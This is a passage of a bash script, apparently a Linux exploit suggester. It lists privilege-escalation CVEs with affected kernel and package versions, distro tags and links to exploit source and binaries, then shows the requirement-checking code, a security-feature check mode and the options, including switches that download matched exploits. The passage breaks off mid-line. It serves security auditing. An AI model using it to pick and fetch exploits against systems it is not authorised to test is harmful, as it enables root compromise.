bin-url: https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/exploits/cve-2017-7308/exploit 797 | exploit-db: 41994 798 | author: Andrey 'xairy' Konovalov (orginal exploit author); Brendan Coles (author of exploit update at 'ext-url') 799 | EOF 800 | ) 801 | 802 | EXPLOITS[((n++))]=$(cat <=4.4,ver<=4.14.8,CONFIG_BPF_SYSCALL=y,sysctl:kernel.unprivileged_bpf_disabled!=1 805 | Tags: debian=9.0{kernel:4.9.0-3-amd64},fedora=25|26|27,ubuntu=14.04{kernel:4.4.0-89-generic},ubuntu=(16.04|17.04){kernel:4.(8|10).0-(19|28|45)-generic} 806 | Rank: 5 807 | analysis-url: https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html 808 | Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1 809 | bin-url: https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/exploits/cve-2017-16995/exploit.out 810 | exploit-db: 45010 811 | author: Rick Larabee 812 | EOF 813 | ) 814 | 815 | EXPLOITS[((n++))]=$(cat <=4.4,ver<=4.13,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 818 | Tags: ubuntu=14.04{kernel:4.4.0-*},ubuntu=16.04{kernel:4.8.0-*} 819 | Rank: 1 820 | analysis-url: http://www.openwall.com/lists/oss-security/2017/08/13/1 821 | src-url: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-1000112/poc.c 822 | ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2017-1000112/poc.c 823 | Comments: CAP_NET_ADMIN cap or CONFIG_USER_NS=y needed. SMEP/KASLR bypass included. Modified version at 'ext-url' adds support for additional distros/kernels 824 | bin-url: https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/exploits/cve-2017-1000112/exploit.out 825 | exploit-db: 826 | author: Andrey 'xairy' Konovalov (orginal exploit author); Brendan Coles (author of exploit update at 'ext-url') 827 | EOF 828 | ) 829 | 830 | EXPLOITS[((n++))]=$(cat <=3.2,ver<=4.13,x86_64 833 | Tags: RHEL=6,RHEL=7{kernel:3.10.0-514.21.2|3.10.0-514.26.1} 834 | Rank: 1 835 | analysis-url: https://www.qualys.com/2017/09/26/linux-pie-cve-2017-1000253/cve-2017-1000253.txt 836 | src-url: https://www.qualys.com/2017/09/26/linux-pie-cve-2017-1000253/cve-2017-1000253.c 837 | exploit-db: 42887 838 | author: Qualys 839 | Comments: 840 | EOF 841 | ) 842 | 843 | EXPLOITS[((n++))]=$(cat <=4.4,ver<=4.14.13,cmd:grep -qi rds /proc/modules,x86_64 846 | Tags: ubuntu=16.04{kernel:4.4.0|4.8.0} 847 | Rank: 1 848 | src-url: https://gist.githubusercontent.com/wbowling/9d32492bd96d9e7c3bf52e23a0ac30a4/raw/959325819c78248a6437102bb289bb8578a135cd/cve-2018-5333-poc.c 849 | ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2018-5333/cve-2018-5333.c 850 | Comments: rds.ko kernel module needs to be loaded. Modified version at 'ext-url' adds support for additional targets and bypassing KASLR. 851 | author: wbowling (orginal exploit author); bcoles (author of exploit update at 'ext-url') 852 | EOF 853 | ) 854 | 855 | EXPLOITS[((n++))]=$(cat <=4.15,ver<=4.19.2,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1,cmd:[ -u /usr/bin/newuidmap ],cmd:[ -u /usr/bin/newgidmap ] 858 | Tags: ubuntu=18.04{kernel:4.15.0-20-generic},fedora=28{kernel:4.16.3-301.fc28} 859 | Rank: 1 860 | analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1712 861 | src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45886.zip 862 | exploit-db: 45886 863 | author: Jann Horn 864 | Comments: CONFIG_USER_NS needs to be enabled 865 | EOF 866 | ) 867 | 868 | EXPLOITS[((n++))]=$(cat <=4,ver<5.1.17,sysctl:kernel.yama.ptrace_scope==0,x86_64 871 | Tags: ubuntu=16.04{kernel:4.15.0-*},ubuntu=18.04{kernel:4.15.0-*},debian=9{kernel:4.9.0-*},debian=10{kernel:4.19.0-*},fedora=30{kernel:5.0.9-*} 872 | Rank: 1 873 | analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903 874 | src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47133.zip 875 | ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c 876 | Comments: Requires an active PolKit agent. 877 | exploit-db: 47133 878 | exploit-db: 47163 879 | author: Jann Horn (orginal exploit author); bcoles (author of exploit update at 'ext-url') 880 | EOF 881 | ) 882 | 883 | EXPLOITS[((n++))]=$(cat <=3,ver<5.0.19,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1,CONFIG_XFRM=y 886 | Tags: 887 | Rank: 1 888 | analysis-url: https://duasynt.com/blog/ubuntu-centos-redhat-privesc 889 | bin-url: https://github.com/duasynt/xfrm_poc/raw/master/lucky0 890 | Comments: CONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled 891 | author: Vitaly 'vnik' Nikolenko 892 | EOF 893 | ) 894 | 895 | EXPLOITS[((n++))]=$(cat <=5.7,ver<5.12,CONFIG_BPF_SYSCALL=y,sysctl:kernel.unprivileged_bpf_disabled!=1 910 | Tags: ubuntu=20.04{kernel:5.8.0-(25|26|27|28|29|30|31|32|33|34|35|36|37|38|39|40|41|42|43|44|45|46|47|48|49|50|51|52)-*},ubuntu=21.04{kernel:5.11.0-16-*} 911 | Rank: 5 912 | analysis-url: https://www.graplsecurity.com/post/kernel-pwning-with-ebpf-a-love-story 913 | src-url: https://codeload.github.com/chompie1337/Linux_LPE_eBPF_CVE-2021-3490/zip/main 914 | Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1 915 | author: chompie1337 916 | EOF 917 | ) 918 | 919 | EXPLOITS[((n++))]=$(cat <=2.6.19,ver<=5.12-rc6 922 | Tags: ubuntu=20.04{kernel:5.8.0-*} 923 | Rank: 1 924 | analysis-url: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html 925 | src-url: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c 926 | ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c 927 | Comments: ip_tables kernel module must be loaded 928 | exploit-db: 50135 929 | author: theflow (orginal exploit author); bcoles (author of exploit update at 'ext-url') 930 | EOF 931 | ) 932 | 933 | EXPLOITS[((n++))]=$(cat <=5.8,ver<=5.16.11 936 | Tags: ubuntu=(20.04|21.04),debian=11 937 | Rank: 1 938 | analysis-url: https://dirtypipe.cm4all.com/ 939 | src-url: https://haxx.in/files/dirtypipez.c 940 | exploit-db: 50808 941 | author: blasty (original exploit author: Max Kellermann) 942 | EOF 943 | ) 944 | 945 | EXPLOITS[((n++))]=$(cat <=3.16,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 948 | Tags: ubuntu=(20.04){kernel:5.12.13} 949 | Rank: 1 950 | analysis-url: https://www.openwall.com/lists/oss-security/2022/08/29/5 951 | src-url: https://www.openwall.com/lists/oss-security/2022/08/29/5/1 952 | Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN) 953 | author: vulnerability discovery: Team Orca of Sea Security; Exploit author: Alejandro Guerrero 954 | EOF 955 | ) 956 | 957 | EXPLOITS[((n++))]=$(cat <=1.8.0,ver<=1.8.3 1045 | Tags: fedora=16 1046 | Rank: 1 1047 | analysis-url: http://seclists.org/fulldisclosure/2012/Jan/att-590/advisory_sudo.txt 1048 | exploit-db: 18436 1049 | EOF 1050 | ) 1051 | 1052 | EXPLOITS_USERSPACE[((n++))]=$(cat <=2.13,ver<=2.17,cmd:grep -qi apport /proc/sys/kernel/core_pattern 1100 | Tags: ubuntu=14.04 1101 | Rank: 1 1102 | analysis-url: http://openwall.com/lists/oss-security/2015/04/14/4 1103 | src-url: https://gist.githubusercontent.com/taviso/0f02c255c13c5c113406/raw/eafac78dce51329b03bea7167f1271718bee4dcc/newpid.c 1104 | exploit-db: 36746 1105 | EOF 1106 | ) 1107 | 1108 | EXPLOITS_USERSPACE[((n++))]=$(cat <=2.13,ver<=2.17,cmd:grep -qi apport /proc/sys/kernel/core_pattern 1111 | Tags: ubuntu=14.04.2 1112 | Rank: 1 1113 | analysis-url: http://openwall.com/lists/oss-security/2015/04/14/4 1114 | exploit-db: 36782 1115 | EOF 1116 | ) 1117 | 1118 | EXPLOITS_USERSPACE[((n++))]=$(cat <=6.8,ver<=6.9 1164 | Tags: 1165 | Rank: 1 1166 | analysis-url: http://www.openwall.com/lists/oss-security/2017/01/26/2 1167 | exploit-db: 41173 1168 | author: Federico Bento 1169 | Comments: Needs admin interaction (root user needs to login via ssh to trigger exploitation) 1170 | EOF 1171 | ) 1172 | 1173 | EXPLOITS_USERSPACE[((n++))]=$(cat <=4.87,ver<=4.91 1441 | Tags: 1442 | Rank: 1 1443 | analysis-url: https://www.qualys.com/2019/06/05/cve-2019-10149/return-wizard-rce-exim.txt 1444 | exploit-db: 46996 1445 | author: raptor 1446 | EOF 1447 | ) 1448 | 1449 | EXPLOITS_USERSPACE[((n++))]=$(cat <=4.15 1555 | enabled: cmd:grep -Eqi '\spti' /proc/cpuinfo 1556 | analysis-url: https://github.com/mzet-/les-res/blob/master/features/pti.md 1557 | EOF 1558 | ) 1559 | 1560 | FEATURES[((n++))]=$(cat <=3.14 1570 | analysis-url: https://github.com/mzet-/les-res/blob/master/features/stackprotector-strong.md 1571 | EOF 1572 | ) 1573 | 1574 | FEATURES[((n++))]=$(cat <=2.6.37 1593 | enabled: sysctl:kernel.dmesg_restrict!=0 1594 | analysis-url: https://github.com/mzet-/les-res/blob/master/features/dmesg_restrict.md 1595 | EOF 1596 | ) 1597 | 1598 | FEATURES[((n++))]=$(cat <=3.0 1747 | enabled: cmd:grep -qi smep /proc/cpuinfo 1748 | analysis-url: https://github.com/mzet-/les-res/blob/master/features/smep.md 1749 | EOF 1750 | ) 1751 | 1752 | FEATURES[((n++))]=$(cat <=3.7 1755 | enabled: cmd:grep -qi smap /proc/cpuinfo 1756 | analysis-url: https://github.com/mzet-/les-res/blob/master/features/smap.md 1757 | EOF 1758 | ) 1759 | 1760 | FEATURES[((n++))]=$(cat < - provide kernel version" 1842 | echo " -u | --uname - provide 'uname -a' string" 1843 | echo " --skip-more-checks - do not perform additional checks (kernel config, sysctl) to determine if exploit is applicable" 1844 | echo " --skip-pkg-versions - skip checking for exact userspace package version (helps to avoid false negatives)" 1845 | echo " -p | --pkglist-file - provide file with 'dpkg -l' or 'rpm -qa' command output" 1846 | echo " --cvelist-file - provide file with Linux kernel CVEs list" 1847 | echo " --checksec - list security related features for your HW/kernel" 1848 | echo " -s | --fetch-sources - automatically downloads source for matched exploit" 1849 | echo " -b | --fetch-binaries - automatically downloads binary for matched exploit if available" 1850 | echo " -f | --full - show full info about matched exploit" 1851 | echo " -g | --short - show shorten info about matched exploit" 1852 | echo " --kernelspace-only - show only kernel vulnerabilities" 1853 | echo " --userspace-only - show only userspace vulnerabilities" 1854 | echo " -d | --show-dos - show also DoSes in results" 1855 | } 1856 | 1857 | exitWithErrMsg() { 1858 | echo "$1" 1>&2 1859 | exit 1 1860 | } 1861 | 1862 | # extracts all information from output of 'uname -a' command 1863 | parseUname() { 1864 | local uname=$1 1865 | 1866 | KERNEL=$(echo "$uname" | awk '{print $3}' | cut -d '-' -f 1) 1867 | KERNEL_ALL=$(echo "$uname" | awk '{print $3}') 1868 | ARCH=$(echo "$uname" | awk '{print $(NF-1)}') 1869 | 1870 | OS="" 1871 | echo "$uname" | grep -q -i 'deb' && OS="debian" 1872 | echo "$uname" | grep -q -i 'ubuntu' && OS="ubuntu" 1873 | echo "$uname" | grep -q -i '\-ARCH' && OS="arch" 1874 | echo "$uname" | grep -q -i '\-deepin' && OS="deepin" 1875 | echo "$uname" | grep -q -i '\-MANJARO' && OS="manjaro" 1876 | echo "$uname" | grep -q -i '\.fc' && OS="fedora" 1877 | echo "$uname" | grep -q -i '\.el' && OS="RHEL" 1878 | echo "$uname" | grep -q -i '\.mga' && OS="mageia" 1879 | 1880 | # 'uname -a' output doesn't contain distribution number (at least not in case of all distros) 1881 | } 1882 | 1883 | getPkgList() { 1884 | local distro=$1 1885 | local pkglist_file=$2 1886 | 1887 | # take package listing from provided file & detect if it's 'rpm -qa' listing or 'dpkg -l' or 'pacman -Q' listing of not recognized listing 1888 | if [ "$opt_pkglist_file" = "true" -a -e "$pkglist_file" ]; then 1889 | 1890 | # ubuntu/debian package listing file 1891 | if [ $(head -1 "$pkglist_file" | grep 'Desired=Unknown/Install/Remove/Purge/Hold') ]; then 1892 | PKG_LIST=$(cat "$pkglist_file" | awk '{print $2"-"$3}' | sed 's/:amd64//g') 1893 | 1894 | OS="debian" 1895 | [ "$(grep ubuntu "$pkglist_file")" ] && OS="ubuntu" 1896 | # redhat package listing file 1897 | elif [ "$(grep -E '\.el[1-9]+[\._]' "$pkglist_file" | head -1)" ]; then 1898 | PKG_LIST=$(cat "$pkglist_file") 1899 | OS="RHEL" 1900 | # fedora package listing file 1901 | elif [ "$(grep -E '\.fc[1-9]+'i "$pkglist_file" | head -1)" ]; then 1902 | PKG_LIST=$(cat "$pkglist_file") 1903 | OS="fedora" 1904 | # mageia package listing file 1905 | elif [ "$(grep -E '\.mga[1-9]+' "$pkglist_file" | head -1)" ]; then 1906 | PKG_LIST=$(cat "$pkglist_file") 1907 | OS="mageia" 1908 | # pacman package listing file 1909 | elif [ "$(grep -E '\ [0-9]+\.' "$pkglist_file" | head -1)" ]; then 1910 | PKG_LIST=$(cat "$pkglist_file" | awk '{print $1"-"$2}') 1911 | OS="arch" 1912 | # file not recognized - skipping 1913 | else 1914 | PKG_LIST="" 1915 | fi 1916 | 1917 | elif [ "$distro" = "debian" -o "$distro" = "ubuntu" -o "$distro" = "deepin" ]; then 1918 | PKG_LIST=$(dpkg -l | awk '{print $2"-"$3}' | sed 's/:amd64//g') 1919 | elif [ "$distro" = "RHEL" -o "$distro" = "fedora" -o "$distro" = "mageia" ]; then 1920 | PKG_LIST=$(rpm -qa) 1921 | elif [ "$distro" = "arch" -o "$distro" = "manjaro" ]; then 1922 | PKG_LIST=$(pacman -Q | awk '{print $1"-"$2}') 1923 | elif [ -x /usr/bin/equery ]; then 1924 | PKG_LIST=$(/usr/bin/equery --quiet list '*' -F '$name:$version' | cut -d/ -f2- | awk '{print $1":"$2}') 1925 | else 1926 | # packages listing not available 1927 | PKG_LIST="" 1928 | fi 1929 | } 1930 | 1931 | # from: https://stackoverflow.com/questions/4023830/how-compare-two-strings-in-dot-separated-version-format-in-bash 1932 | verComparision() { 1933 | 1934 | if [[ $1 == $2 ]] 1935 | then 1936 | return 0 1937 | fi 1938 | 1939 | local IFS=. 1940 | local i ver1=($1) ver2=($2) 1941 | 1942 | # fill empty fields in ver1 with zeros 1943 | for ((i=${#ver1[@]}; i<${#ver2[@]}; i++)) 1944 | do 1945 | ver1[i]=0 1946 | done 1947 | 1948 | for ((i=0; i<${#ver1[@]}; i++)) 1949 | do 1950 | if [[ -z ${ver2[i]} ]] 1951 | then 1952 | # fill empty fields in ver2 with zeros 1953 | ver2[i]=0 1954 | fi 1955 | if ((10#${ver1[i]} > 10#${ver2[i]})) 1956 | then 1957 | return 1 1958 | fi 1959 | if ((10#${ver1[i]} < 10#${ver2[i]})) 1960 | then 1961 | return 2 1962 | fi 1963 | done 1964 | 1965 | return 0 1966 | } 1967 | 1968 | doVersionComparision() { 1969 | local reqVersion="$1" 1970 | local reqRelation="$2" 1971 | local currentVersion="$3" 1972 | 1973 | verComparision $currentVersion $reqVersion 1974 | case $? in 1975 | 0) currentRelation='=';; 1976 | 1) currentRelation='>';; 1977 | 2) currentRelation='<';; 1978 | esac 1979 | 1980 | if [ "$reqRelation" == "=" ]; then 1981 | [ $currentRelation == "=" ] && return 0 1982 | elif [ "$reqRelation" == ">" ]; then 1983 | [ $currentRelation == ">" ] && return 0 1984 | elif [ "$reqRelation" == "<" ]; then 1985 | [ $currentRelation == "<" ] && return 0 1986 | elif [ "$reqRelation" == ">=" ]; then 1987 | [ $currentRelation == "=" ] && return 0 1988 | [ $currentRelation == ">" ] && return 0 1989 | elif [ "$reqRelation" == "<=" ]; then 1990 | [ $currentRelation == "=" ] && return 0 1991 | [ $currentRelation == "<" ] && return 0 1992 | fi 1993 | } 1994 | 1995 | compareValues() { 1996 | curVal=$1 1997 | val=$2 1998 | sign=$3 1999 | 2000 | if [ "$sign" == "==" ]; then 2001 | [ "$val" == "$curVal" ] && return 0 2002 | elif [ "$sign" == "!=" ]; then 2003 | [ "$val" != "$curVal" ] && return 0 2004 | fi 2005 | 2006 | return 1 2007 | } 2008 | 2009 | checkRequirement() { 2010 | #echo "Checking requirement: $1" 2011 | local IN="$1" 2012 | local pkgName="${2:4}" 2013 | 2014 | if [[ "$IN" =~ ^pkg=.*$ ]]; then 2015 | 2016 | # always true for Linux OS 2017 | [ ${pkgName} == "linux-kernel" ] && return 0 2018 | 2019 | # verify if package is present 2020 | pkg=$(echo "$PKG_LIST" | grep -E -i "^$pkgName-[0-9]+" | head -1) 2021 | if [ -n "$pkg" ]; then 2022 | return 0 2023 | fi 2024 | 2025 | elif [[ "$IN" =~ ^ver.*$ ]]; then 2026 | version="${IN//[^0-9.]/}" 2027 | rest="${IN#ver}" 2028 | operator=${rest%$version} 2029 | 2030 | if [ "$pkgName" == "linux-kernel" -o "$opt_checksec_mode" == "true" ]; then 2031 | 2032 | # for --cvelist-file mode skip kernel version comparision 2033 | [ "$opt_cvelist_file" = "true" ] && return 0 2034 | 2035 | doVersionComparision $version $operator $KERNEL && return 0 2036 | else 2037 | # extract package version and check if requiremnt is true 2038 | pkg=$(echo "$PKG_LIST" | grep -E -i "^$pkgName-[0-9]+" | head -1) 2039 | 2040 | # skip (if run with --skip-pkg-versions) version checking if package with given name is installed 2041 | [ "$opt_skip_pkg_versions" = "true" -a -n "$pkg" ] && return 0 2042 | 2043 | # versioning: 2044 | #echo "pkg: $pkg" 2045 | pkgVersion=$(echo "$pkg" | grep -E -i -o -e '-[\.0-9\+:p]+[-\+]' | cut -d':' -f2 | sed 's/[\+-]//g' | sed 's/p[0-9]//g') 2046 | #echo "version: $pkgVersion" 2047 | #echo "operator: $operator" 2048 | #echo "required version: $version" 2049 | #echo 2050 | doVersionComparision $version $operator $pkgVersion && return 0 2051 | fi 2052 | elif [[ "$IN" =~ ^x86_64$ ]] && [ "$ARCH" == "x86_64" -o "$ARCH" == "" ]; then 2053 | return 0 2054 | elif [[ "$IN" =~ ^x86$ ]] && [ "$ARCH" == "i386" -o "$ARCH" == "i686" -o "$ARCH" == "" ]; then 2055 | return 0 2056 | elif [[ "$IN" =~ ^CONFIG_.*$ ]]; then 2057 | 2058 | # skip if check is not applicable (-k or --uname or -p set) or if user said so (--skip-more-checks) 2059 | [ "$opt_skip_more_checks" = "true" ] && return 0 2060 | 2061 | # if kernel config IS available: 2062 | if [ -n "$KCONFIG" ]; then 2063 | if $KCONFIG | grep -E -qi $IN; then 2064 | return 0; 2065 | # required option wasn't found, exploit is not applicable 2066 | else 2067 | return 1; 2068 | fi 2069 | # config is not available 2070 | else 2071 | return 0; 2072 | fi 2073 | elif [[ "$IN" =~ ^sysctl:.*$ ]]; then 2074 | 2075 | # skip if check is not applicable (-k or --uname or -p modes) or if user said so (--skip-more-checks) 2076 | [ "$opt_skip_more_checks" = "true" ] && return 0 2077 | 2078 | sysctlCondition="${IN:7}" 2079 | 2080 | # extract sysctl entry, relation sign and required value 2081 | if echo $sysctlCondition | grep -qi "!="; then 2082 | sign="!=" 2083 | elif echo $sysctlCondition | grep -qi "=="; then 2084 | sign="==" 2085 | else 2086 | exitWithErrMsg "Wrong sysctl condition. There is syntax error in your features DB. Aborting." 2087 | fi 2088 | val=$(echo "$sysctlCondition" | awk -F "$sign" '{print $2}') 2089 | entry=$(echo "$sysctlCondition" | awk -F "$sign" '{print $1}') 2090 | 2091 | # get current setting of sysctl entry 2092 | curVal=$(/sbin/sysctl -a 2> /dev/null | grep "$entry" | awk -F'=' '{print $2}') 2093 | 2094 | # special case for --checksec mode: return 2 if there is no such switch in sysctl 2095 | [ -z "$curVal" -a "$opt_checksec_mode" = "true" ] && return 2 2096 | 2097 | # for other modes: skip if there is no such switch in sysctl 2098 | [ -z "$curVal" ] && return 0 2099 | 2100 | # compare & return result 2101 | compareValues $curVal $val $sign && return 0 2102 | 2103 | elif [[ "$IN" =~ ^cmd:.*$ ]]; then 2104 | 2105 | # skip if check is not applicable (-k or --uname or -p modes) or if user said so (--skip-more-checks) 2106 | [ "$opt_skip_more_checks" = "true" ] && return 0 2107 | 2108 | cmd="${IN:4}" 2109 | if eval "${cmd}"; then 2110 | return 0 2111 | fi 2112 | fi 2113 | 2114 | return 1 2115 | } 2116 | 2117 | getKernelConfig() { 2118 | 2119 | if [ -f /proc/config.gz ] ; then 2120 | KCONFIG="zcat /proc/config.gz" 2121 | elif [ -f /boot/config-`uname -r` ] ; then 2122 | KCONFIG="cat /boot/config-`uname -r`" 2123 | elif [ -f "${KBUILD_OUTPUT:-/usr/src/linux}"/.config ] ; then 2124 | KCONFIG="cat ${KBUILD_OUTPUT:-/usr/src/linux}/.config" 2125 | else 2126 | KCONFIG="" 2127 | fi 2128 | } 2129 | 2130 | checksecMode() { 2131 | 2132 | MODE=0 2133 | 2134 | # start analysis 2135 | for FEATURE in "${FEATURES[@]}"; do 2136 | 2137 | # create array from current exploit here doc and fetch needed lines 2138 | i=0 2139 | # ('-r' is used to not interpret backslash used for bash colors) 2140 | while read -r line 2141 | do 2142 | arr[i]="$line" 2143 | i=$((i + 1)) 2144 | done <<< "$FEATURE" 2145 | 2146 | # modes: kernel-feature (1) | hw-feature (2) | 3rdparty-feature (3) | attack-surface (4) 2147 | NAME="${arr[0]}" 2148 | PRE_NAME="${NAME:0:8}" 2149 | NAME="${NAME:9}" 2150 | if [ "${PRE_NAME}" = "section:" ]; then 2151 | # advance to next MODE 2152 | MODE=$(($MODE + 1)) 2153 | 2154 | echo 2155 | echo -e "${bldwht}${NAME}${txtrst}" 2156 | echo 2157 | continue 2158 | fi 2159 | 2160 | AVAILABLE="${arr[1]}" && AVAILABLE="${AVAILABLE:11}" 2161 | ENABLE=$(echo "$FEATURE" | grep "enabled: " | awk -F'ed: ' '{print $2}') 2162 | analysis_url=$(echo "$FEATURE" | grep "analysis-url: " | awk '{print $2}') 2163 | 2164 | # split line with availability requirements & loop thru all availability reqs one by one & check whether it is met 2165 | IFS=',' read -r -a array <<< "$AVAILABLE" 2166 | AVAILABLE_REQS_NUM=${#array[@]} 2167 | AVAILABLE_PASSED_REQ=0 2168 | CONFIG="" 2169 | for REQ in "${array[@]}"; do 2170 | 2171 | # find CONFIG_ name (if present) for current feature (only for display purposes) 2172 | if [ -z "$CONFIG" ]; then 2173 | config=$(echo "$REQ" | grep "CONFIG_") 2174 | [ -n "$config" ] && CONFIG="($(echo $REQ | cut -d'=' -f1))" 2175 | fi 2176 | 2177 | if (checkRequirement "$REQ"); then 2178 | AVAILABLE_PASSED_REQ=$(($AVAILABLE_PASSED_REQ + 1)) 2179 | else 2180 | break 2181 | fi 2182 | done 2183 | 2184 | # split line with enablement requirements & loop thru all enablement reqs one by one & check whether it is met 2185 | ENABLE_PASSED_REQ=0 2186 | ENABLE_REQS_NUM=0 2187 | noSysctl=0 2188 | if [ -n "$ENABLE" ]; then 2189 | IFS=',' read -r -a array <<< "$ENABLE" 2190 | ENABLE_REQS_NUM=${#array[@]} 2191 | for REQ in "${array[@]}"; do 2192 | cmdStdout=$(checkRequirement "$REQ") 2193 | retVal=$? 2194 | if [ $retVal -eq 0 ]; then 2195 | ENABLE_PASSED_REQ=$(($ENABLE_PASSED_REQ + 1)) 2196 | elif [ $retVal -eq 2 ]; then 2197 | # special case: sysctl entry is not present on given system: signal it as: N/A 2198 | noSysctl=1 2199 | break 2200 | else 2201 | break 2202 | fi 2203 | done 2204 | fi 2205 | 2206 | feature=$(echo "$FEATURE" | grep "feature: " | cut -d' ' -f 2-) 2207 | 2208 | if [ -n "$cmdStdout" ]; then 2209 | if [ $cmdStdout -eq 0 ]; then 2210 | state="[ ${txtred}Set to $cmdStdout${txtrst} ]" 2211 | cmdStdout="" 2212 | else 2213 | state="[ ${txtgrn}Set to $cmdStdout${txtrst} ]" 2214 | cmdStdout="" 2215 | fi 2216 | else 2217 | 2218 | unknown="[ ${txtgray}Unknown${txtrst} ]" 2219 | 2220 | # for 3rd party (3) mode display "N/A" or "Enabled" 2221 | if [ $MODE -eq 3 ]; then 2222 | enabled="[ ${txtgrn}Enabled${txtrst} ]" 2223 | disabled="[ ${txtgray}N/A${txtrst} ]" 2224 | 2225 | # for attack-surface (4) mode display "Locked" or "Exposed" 2226 | elif [ $MODE -eq 4 ]; then 2227 | enabled="[ ${txtred}Exposed${txtrst} ]" 2228 | disabled="[ ${txtgrn}Locked${txtrst} ]" 2229 | 2230 | # other modes" "Disabled" / "Enabled" 2231 | else 2232 | enabled="[ ${txtgrn}Enabled${txtrst} ]" 2233 | disabled="[ ${txtred}Disabled${txtrst} ]" 2234 | fi 2235 | 2236 | if [ -z "$KCONFIG" -a "$ENABLE_REQS_NUM" = 0 ]; then 2237 | state=$unknown 2238 | elif [ $AVAILABLE_PASSED_REQ -eq $AVAILABLE_REQS_NUM -a $ENABLE_PASSED_REQ -eq $ENABLE_REQS_NUM ]; then 2239 | state=$enabled 2240 | else 2241 | state=$disabled 2242 | fi 2243 | 2244 | fi 2245 | 2246 | echo -e " $state $feature ${wht}${CONFIG}${txtrst}" 2247 | [ -n "$analysis_url" ] && echo -e " $analysis_url" 2248 | echo 2249 | 2250 | done 2251 | 2252 | } 2253 | 2254 | displayExposure() { 2255 | RANK=$1 2256 | 2257 | if [ "$RANK" -ge 6 ]; then 2258 | echo "highly probable" 2259 | elif [ "$RANK" -ge 3 ]; then 2260 | echo "probable" 2261 | else 2262 | echo "less probable" 2263 | fi 2264 | } 2265 | 2266 | # parse command line parameters 2267 | ARGS=$(getopt --options $SHORTOPTS --longoptions $LONGOPTS -- "$@") 2268 | [ $? != 0 ] && exitWithErrMsg "Aborting." 2269 | 2270 | eval set -- "$ARGS" 2271 | 2272 | while true; do 2273 | case "$1" in 2274 | -u|--uname) 2275 | shift 2276 | UNAME_A="$1" 2277 | opt_uname_string=true 2278 | ;; 2279 | -V|--version) 2280 | version 2281 | exit 0 2282 | ;; 2283 | -h|--help) 2284 | usage 2285 | exit 0 2286 | ;; 2287 | -f|--full) 2288 | opt_full=true 2289 | ;; 2290 | -g|--short) 2291 | opt_summary=true 2292 | ;; 2293 | -b|--fetch-binaries) 2294 | opt_fetch_bins=true 2295 | ;; 2296 | -s|--fetch-sources) 2297 | opt_fetch_srcs=true 2298 | ;; 2299 | -k|--kernel) 2300 | shift 2301 | KERNEL="$1" 2302 | opt_kernel_version=true 2303 | ;; 2304 | -d|--show-dos) 2305 | opt_show_dos=true 2306 | ;; 2307 | -p|--pkglist-file) 2308 | shift 2309 | PKGLIST_FILE="$1" 2310 | opt_pkglist_file=true 2311 | ;; 2312 | --cvelist-file) 2313 | shift 2314 | CVELIST_FILE="$1" 2315 | opt_cvelist_file=true 2316 | ;; 2317 | --checksec) 2318 | opt_checksec_mode=true 2319 | ;; 2320 | --kernelspace-only) 2321 | opt_kernel_only=true 2322 | ;; 2323 | --userspace-only) 2324 | opt_userspace_only=true 2325 | ;; 2326 | --skip-more-checks) 2327 | opt_skip_more_checks=true 2328 | ;; 2329 | --skip-pkg-versions) 2330 | opt_skip_pkg_versions=true 2331 | ;; 2332 | *) 2333 | shift 2334 | if [ "$#" != "0" ]; then 2335 | exitWithErrMsg "Unknown option '$1'. Aborting." 2336 | fi 2337 | break 2338 | ;; 2339 | esac 2340 | shift 2341 | done 2342 | 2343 | # check Bash version (associative arrays need Bash in version 4.0+) 2344 | if ((BASH_VERSINFO[0] < 4)); then 2345 | exitWithErrMsg "Script needs Bash in version 4.0 or newer. Aborting." 2346 | fi 2347 | 2348 | # exit if both --kernel and --uname are set 2349 | [ "$opt_kernel_version" = "true" ] && [ $opt_uname_string = "true" ] && exitWithErrMsg "Switches -u|--uname and -k|--kernel are mutually exclusive. Aborting." 2350 | 2351 | # exit if both --full and --short are set 2352 | [ "$opt_full" = "true" ] && [ $opt_summary = "true" ] && exitWithErrMsg "Switches -f|--full and -g|--short are mutually exclusive. Aborting." 2353 | 2354 | # --cvelist-file mode is standalone mode and is not applicable when one of -k | -u | -p | --checksec switches are set 2355 | if [ "$opt_cvelist_file" = "true" ]; then 2356 | [ ! -e "$CVELIST_FILE" ] && exitWithErrMsg "Provided CVE list file does not exists. Aborting." 2357 | [ "$opt_kernel_version" = "true" ] && exitWithErrMsg "Switches -k|--kernel and --cvelist-file are mutually exclusive. Aborting." 2358 | [ "$opt_uname_string" = "true" ] && exitWithErrMsg "Switches -u|--uname and --cvelist-file are mutually exclusive. Aborting." 2359 | [ "$opt_pkglist_file" = "true" ] && exitWithErrMsg "Switches -p|--pkglist-file and --cvelist-file are mutually exclusive. Aborting." 2360 | fi 2361 | 2362 | # --checksec mode is standalone mode and is not applicable when one of -k | -u | -p | --cvelist-file switches are set 2363 | if [ "$opt_checksec_mode" = "true" ]; then 2364 | [ "$opt_kernel_version" = "true" ] && exitWithErrMsg "Switches -k|--kernel and --checksec are mutually 